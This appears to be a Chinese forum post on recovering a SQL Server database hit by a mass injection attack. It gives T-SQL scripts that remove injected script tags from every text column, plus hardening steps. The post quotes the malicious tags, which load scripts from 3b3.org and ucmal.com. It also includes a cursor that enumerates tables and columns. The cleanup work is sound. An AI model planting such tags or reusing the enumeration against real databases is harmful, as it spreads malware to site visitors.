如何最快速度删除? " <script src=http://3b3.org/c.js> </script> " --------------------------------------------------------------- 进入SQL查询分析器 选择你的数据库 第一步:先sql表修改所有者为dbo EXEC sp_MSforeachtable 'exec sp_changeobjectowner ' '? ' ', ' 'dbo ' ' ' 第二步:统一删除字段被挂的js declare @delStr nvarchar(500) set @delStr= ' <script src=http://3b3.org/c.js> </script> ' set nocount on declare @tableName nvarchar(100),@columnName nvarchar(100),@tbID int,@iRow int,@iResult int declare @sql nvarchar(500) set @iResult=0 declare cur cursor for select name,id from sysobjects where xtype= 'U ' open cur fetch next from cur into @tableName,@tbID while @@fetch_status=0 begin declare cur1 cursor for --xtype in (231,167,239,175,35) 为char,varchar,nchar,nvarchar,text类型 select name from syscolumns where xtype in (231,167,239,175,35) and id=@tbID open cur1 fetch next from cur1 into @columnName while @@fetch_status=0 begin set @sql= 'update [ ' + @tableName + '] set [ '+ @columnName + ']= replace([ '+@columnName+ '], ' ' '+@delStr+ ' ' ', ' ' ' ') where [ '+@columnName+ '] like ' '% '+@delStr+ '% ' ' ' exec sp_executesql @sql set @iRow=@@rowcount set @iResult=@iResult+@iRow if @iRow> 0 begin print '表: '+@tableName+ ',列: '+@columnName+ '被更新 '+convert(varchar(10),@iRow)+ '条记录; ' end fetch next from cur1 into @columnName end close cur1 deallocate cur1 fetch next from cur into @tableName,@tbID end print '数据库共有 '+convert(varchar(10),@iResult)+ '条记录被更新!!! ' close cur deallocate cur set nocount off --------------------------------------------------------------- 彻底杜绝SQL注入 1.不要使用sa用户连接数据库 2、新建一个public权限数据库用户,并用这个用户访问数据库 3、[角色]去掉角色public对sysobjects与syscolumns对象的select访问权限 4、[用户]用户名称-> 右键-属性-权限-在sysobjects与syscolumns上面打“×” 5、通过以下代码检测(失败表示权限正确,如能显示出来则表明权限太高): DECLARE @T varchar(255), @C varchar(255) DECLARE Table_Cursor CURSOR FOR Select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype= 'u ' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN print @c FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor --------------------------------------------------------------- 让3b3.org c.js注入见鬼去吧!
----数据库被注入攻击 所有文本型字下段数据都被加了 -- <script_src=http://ucmal.com/0.js> </script> 怎么删掉? DECLARE @fieldtype sysname SET @fieldtype='varchar'--删除处理 DECLARE hCForEach CURSOR GLOBAL FOR SELECT N'update '+QUOTENAME(o.name) +N' set '+ QUOTENAME(c.name) + N' = replace(' + QUOTENAME(c.name) + ',''<script_src=http://ucmal.com/0.js> </script>'','''')' FROM sysobjects o,syscolumns c,systypes t WHERE o.id=c.id AND OBJECTPROPERTY(o.id,N'IsUserTable')=1 AND c.xusertype=t.xusertype AND t.name=@fieldtype EXEC sp_MSforeach_Worker @command1=N'?'
还有这个
<script src=http://3b3.org/c.js></script>
" <script src=http://3b3.org/c.js> </script> "
---------------------------------------------------------------
进入SQL查询分析器
选择你的数据库
第一步:先sql表修改所有者为dbo
EXEC sp_MSforeachtable 'exec sp_changeobjectowner ' '? ' ', ' 'dbo ' ' ' 第二步:统一删除字段被挂的js
declare @delStr nvarchar(500)
set @delStr= ' <script src=http://3b3.org/c.js> </script> ' set nocount on declare @tableName nvarchar(100),@columnName nvarchar(100),@tbID int,@iRow int,@iResult int
declare @sql nvarchar(500) set @iResult=0
declare cur cursor for
select name,id from sysobjects where xtype= 'U ' open cur
fetch next from cur into @tableName,@tbID while @@fetch_status=0
begin
declare cur1 cursor for
--xtype in (231,167,239,175,35) 为char,varchar,nchar,nvarchar,text类型
select name from syscolumns where xtype in (231,167,239,175,35) and id=@tbID
open cur1
fetch next from cur1 into @columnName
while @@fetch_status=0
begin
set @sql= 'update [ ' + @tableName + '] set [ '+ @columnName + ']= replace([ '+@columnName+ '], ' ' '+@delStr+ ' ' ', ' ' ' ') where [ '+@columnName+ '] like ' '% '+@delStr+ '% ' ' '
exec sp_executesql @sql
set @iRow=@@rowcount
set @iResult=@iResult+@iRow
if @iRow> 0
begin
print '表: '+@tableName+ ',列: '+@columnName+ '被更新 '+convert(varchar(10),@iRow)+ '条记录; '
end
fetch next from cur1 into @columnName
end
close cur1
deallocate cur1 fetch next from cur into @tableName,@tbID
end
print '数据库共有 '+convert(varchar(10),@iResult)+ '条记录被更新!!! ' close cur
deallocate cur
set nocount off
---------------------------------------------------------------
彻底杜绝SQL注入 1.不要使用sa用户连接数据库
2、新建一个public权限数据库用户,并用这个用户访问数据库
3、[角色]去掉角色public对sysobjects与syscolumns对象的select访问权限
4、[用户]用户名称-> 右键-属性-权限-在sysobjects与syscolumns上面打“×”
5、通过以下代码检测(失败表示权限正确,如能显示出来则表明权限太高):
DECLARE @T varchar(255),
@C varchar(255)
DECLARE Table_Cursor CURSOR FOR
Select a.name,b.name from sysobjects a,syscolumns b
where a.id=b.id and a.xtype= 'u ' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN print @c
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
---------------------------------------------------------------
让3b3.org c.js注入见鬼去吧!
-- <script_src=http://ucmal.com/0.js> </script> 怎么删掉? DECLARE @fieldtype sysname
SET @fieldtype='varchar'--删除处理
DECLARE hCForEach CURSOR GLOBAL
FOR
SELECT N'update '+QUOTENAME(o.name)
+N' set '+ QUOTENAME(c.name) +
N' = replace(' + QUOTENAME(c.name) + ',''<script_src=http://ucmal.com/0.js> </script>'','''')'
FROM sysobjects o,syscolumns c,systypes t
WHERE o.id=c.id
AND OBJECTPROPERTY(o.id,N'IsUserTable')=1
AND c.xusertype=t.xusertype
AND t.name=@fieldtype
EXEC sp_MSforeach_Worker @command1=N'?'
http://topic.csdn.net/u/20090415/17/b8356291-d0e8-4b82-b2df-2ed6029babcc.html
里边的脚本被执行了 我刚才用虚拟机试了下